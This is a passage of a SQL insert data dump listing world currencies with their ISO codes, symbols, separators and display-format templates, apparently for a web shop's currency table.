1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (50, 1, 'Falkland pound', '', 'FKP', 238, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (52, 1, 'British pound', '', 'GBP', 826, 0, '£', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (54, 1, 'Gibraltar pound', '', 'GIP', 292, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (55, 1, 'Gambian dalasi', '', 'GMD', 270, 0, 'D', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (56, 1, 'Guinean franc', '', 'GNF', 324, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (58, 1, 'Guatemalan quetzal', '', 'GTQ', 320, 0, 'Q', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (60, 1, 'Guyanese dollar', '', 'GYD', 328, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (61, 1, 'Hong Kong dollar', '', 'HKD', 344, 0, '元', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (62, 1, 'Honduran lempira', '', 'HNL', 340, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (63, 1, 'Haitian gourde', '', 'HTG', 332, 0, 'G', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (64, 1, 'Hungarian forint', '', 'HUF', 348, 0, 'Ft', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (65, 1, 'Indonesian rupiah', '', 'IDR', 360, 0, 'Rp', '0', '', '', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (67, 1, 'Israeli new sheqel', '', 'ILS', 376, 0, '₪', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (68, 1, 'Indian rupee', '', 'INR', 356, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (69, 1, 'Iraqi dinar', '', 'IQD', 368, 0, 'ع.د', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (70, 1, 'Iranian rial', '', 'IRR', 364, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number}{symb0l}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (73, 1, 'Jamaican dollar', '', 'JMD', 388, 0, 'J$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (74, 1, 'Jordanian dinar', '', 'JOD', 400, 0, 'د.ا', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (75, 1, 'Japanese yen', '', 'JPY', 392, 0, '¥', '0', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (76, 1, 'Kenyan shilling', '', 'KES', 404, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (77, 1, 'Cambodian riel', '', 'KHR', 116, 0, '៛', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (78, 1, 'Comorian franc', '', 'KMF', 174, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (79, 1, 'North Korean won', '', 'KPW', 408, 0, '₩', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (80, 1, 'South Korean won', '', 'KRW', 410, 0, '₩', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (81, 1, 'Kuwaiti dinar', '', 'KWD', 414, 0, 'د.ك', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (82, 1, 'Cayman Islands dollar', '', 'KYD', 136, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (83, 1, 'Lao kip', '', 'LAK', 418, 0, '₭', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (84, 1, 'Lebanese pound', '', 'LBP', 422, 0, '£', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (85, 1, 'Sri Lankan rupee', '', 'LKR', 144, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (86, 1, 'Liberian dollar', '', 'LRD', 430, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (87, 1, 'Lesotho loti', '', 'LSL', 426, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (89, 1, 'Libyan dinar', '', 'LYD', 434, 0, 'ل.د', '3', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (90, 1, 'Moroccan dirham', '', 'MAD', 504, 0, 'د.م.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (92, 1, 'Mongolian tögrög', '', 'MNT', 496, 0, '₮', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (93, 1, 'Macanese pataca', '', 'MOP', 446, 0, 'P', '1', ',', '', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (94, 1, 'Mauritanian ouguiya', '', 'MRO', 478, 0, 'UM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (96, 1, 'Mauritian rupee', '', 'MUR', 480, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (97, 1, 'Maldivian rufiyaa', '', 'MVR', 462, 0, 'ރ.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (98, 1, 'Malawian kwacha', '', 'MWK', 454, 0, 'MK', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (100, 1, 'Malaysian ringgit', '', 'MYR', 458, 0, 'RM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (102, 1, 'Nigerian naira', '', 'NGN', 566, 0, '₦', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (105, 1, 'Norwegian krone', '', 'NOK', 578, 0, 'kr', '2', ',', ' ', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (106, 1, 'Nepalese rupee', '', 'NPR', 524, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (107, 1, 'New Zealand dollar', '', 'NZD', 554, 0, '$', '2', ',', '', '{number} {symbol}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (108, 1, 'Omani rial', '', 'OMR', 512, 0, '﷼', '3', '.', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (109, 1, 'Panamanian balboa', '', 'PAB', 590, 0, 'B/.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (110, 1, 'Peruvian nuevo sol', '', 'PEN', 604, 0, 'S/.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (111, 1, 'Papua New Guinean kina', '', 'PGK', 598, 0, 'K', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (112, 1, 'Philippine peso', '', 'PHP', 608, 0, '₱', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (113, 1, 'Pakistani rupee', '', 'PKR', 586, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (114, 1, 'Polish Złoty', '', 'PLN', 985, 0, 'zł', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (116, 1, 'Paraguayan guaraní', '', 'PYG', 600, 0, '₲', '0', '', '.', '{symbol} {number}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (117, 1, 'Qatari riyal', '', 'QAR', 634, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (118, 1, 'Romanian leu', '', 'RON', 946, 0, 'lei', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (119, 1, 'Rwandan franc', '', 'RWF', 646, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (120, 1, 'Saudi riyal', '', 'SAR', 682, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (121, 1, 'Solomon Islands dollar', '', 'SBD', 90, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (122, 1, 'Seychellois rupee', '', 'SCR', 690, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (124, 1, 'Swedish krona', '', 'SEK', 752, 0, 'kr', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (125, 1, 'Singapore dollar', '', 'SGD', 702, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (126, 1, 'Saint Helenian pound', '', 'SHP', 654, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (127, 1, 'Sierra Leonean leone', '', 'SLL', 694, 0, 'Le', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (128, 1, 'Somali shilling', '', 'SOS', 706, 0, 'S', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (130, 1, 'São Tomé and Príncipe dobra', '', 'STD', 678, 0, 'Db', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (131, 1, 'Russian ruble', '', 'RUB', 643, 0, 'руб', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (132, 1, 'Salvadoran colón', '', 'SVC', 222, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (133, 1, 'Syrian pound', '', 'SYP', 760, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (134, 1, 'Swazi lilangeni', '', 'SZL', 748, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (135, 1, 'Thai baht', '', 'THB', 764, 0, '฿', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (136, 1, 'Tunisian dinar', '', 'TND', 788, 0, 'د.ت', '3', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (137, 1, 'Tongan paʻanga', '', 'TOP', 776, 0, 'T$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (139, 1, 'Turkish new lira', '', 'TRY', 949, 0, 'YTL', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (140, 1, 'Trinidad and Tobago dollar', '', 'TTD', 780, 0, 'TT$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (141, 1, 'New Taiwan dollar', '', 'TWD', 901, 0, 'NT$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (142, 1, 'Tanzanian shilling', '', 'TZS', 834, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (144, 1, 'United States dollar', '', 'USD', 840, 0, '$', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (147, 1, 'Vietnamese Dong', '', 'VND', 704, 0, '₫', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (148, 1, 'Vanuatu vatu', '', 'VUV', 548, 0, 'Vt', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (149, 1, 'Samoan tala', '', 'WST', 882, 0, 'T', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (151, 1, 'Yemeni rial', '', 'YER', 886, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (152, 1, 'Serbian dinar', '', 'RSD', 941, 0, 'Дин.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (153, 1, 'South African rand', '', 'ZAR', 710, 0, 'R', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (154, 1, 'Zambian kwacha', '', 'ZMK', 894, 0, 'ZK', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (156, 1, 'Zimbabwean dollar', '', 'ZWD', 932, 0, 'Z$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (158, 1, 'Armenian dram', '', 'AMD', 51, 0, 'դր.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (159, 1, 'Myanmar kyat', '', 'MMK', 104, 0, 'K', '2', ',', '', '{number} {symbol}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (160, 1, 'Croatian kuna', '', 'HRK', 191, 0, 'kn', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (161, 1, 'Eritrean nakfa', '', 'ERN', 232, 0, 'Nfk', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (162, 1, 'Djiboutian franc', '', 'DJF', 262, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (163, 1, 'Icelandic króna', '', 'ISK', 352, 0, 'kr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (164, 1, 'Kazakhstani tenge', '', 'KZT', 398, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (165, 1, 'Kyrgyzstani som', '', 'KGS', 417, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (166, 1, 'Latvian lats', '', 'LVL', 428, 0, 'Ls', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (167, 1, 'Lithuanian litas', '', 'LTL', 440, 0, 'Lt', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (168, 1, 'Mexican peso', '', 'MXN', 484, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (169, 1, 'Moldovan leu', '', 'MDL', 498, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (170, 1, 'Namibian dollar', '', 'NAD', 516, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (171, 1, 'Nicaraguan córdoba', '', 'NIO', 558, 0, 'C$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (172, 1, 'Ugandan shilling', '', 'UGX', 800, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (173, 1, 'Macedonian denar', '', 'MKD', 807, 0, 'ден', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (174, 1, 'Uruguayan peso', '', 'UYU', 858, 0, '$', '0', '', '', '{symbol}number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (175, 1, 'Uzbekistani som', '', 'UZS', 860, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (176, 1, 'Azerbaijani manat', '', 'AZN', 934, 0, 'ман', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (177, 1, 'Ghanaian cedi', '', 'GHS', 936, 0, '₵', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (178, 1, 'Venezuelan bolívar', '', 'VEF', 937, 0, 'Bs', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (179, 1, 'Sudanese pound', '', 'SDG', 938, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (180, 1, 'Uruguay Peso', '', 'UYI', 940, 0, 'UYI', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (181, 1, 'Mozambican metical', '', 'MZN', 943, 0, 'MT', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (182, 1, 'WIR Euro', '', 'CHE', 947, 0, '€', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (183, 1, 'WIR Franc', '', 'CHW', 948, 0, 'CHW', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (184, 1, 'Central African CFA franc', '', 'XAF', 950, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (185, 1, 'East Caribbean dollar', '', 'XCD', 951, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (186, 1, 'West African CFA franc', '', 'XOF', 952, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (187, 1, 'CFP franc', '', 'XPF', 953, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (188, 1, 'Surinamese dollar', '', 'SRD', 968, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (189, 1, 'Malagasy ariary', '', 'MGA', 969, 0, 'MGA', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (190, 1, 'Unidad de Valor Real', '', 'COU', 970, 0, 'COU', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (191, 1, 'Afghan afghani', '', 'AFN', 971, 0, '؋', '2', 